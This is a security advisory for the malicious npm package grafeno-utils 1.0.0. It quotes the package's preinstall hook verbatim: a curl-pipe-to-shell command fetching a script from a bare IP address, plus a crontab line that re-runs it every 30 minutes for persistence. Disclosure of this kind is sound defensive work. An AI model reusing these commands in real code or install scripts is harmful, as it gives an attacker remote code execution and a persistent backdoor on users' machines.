VYPR

npm · Malicious package advisory

Malware

grafeno-utils

GHSA-hfcc-rc45-2cgg

Malicious code in grafeno-utils (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad)
The package's package.json preinstall lifecycle hook uses child_process to run `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and piping it to /bin/bash at `npm install` time. The same preinstall additionally appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, re-fetching and re-executing that remote script every 30 minutes and providing persistent remote code execution on the installer's host beyond the initial install. The destination is a hardcoded bare IPv4 address with no TLS and no integrity check; the fetched content is unpinned and attacker-mutable. This satisfies both install-time remote code execution and a backdoor persistence mechanism against the installer.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-utils/MAL-2026-15509.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-utils/MAL-2026-15509.json
- https://www.npmjs.com/package/grafeno-utils/v/1.0.0
- https://github.com/advisories/GHSA-hfcc-rc45-2cgg

Compromised versions (1)

  • = 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.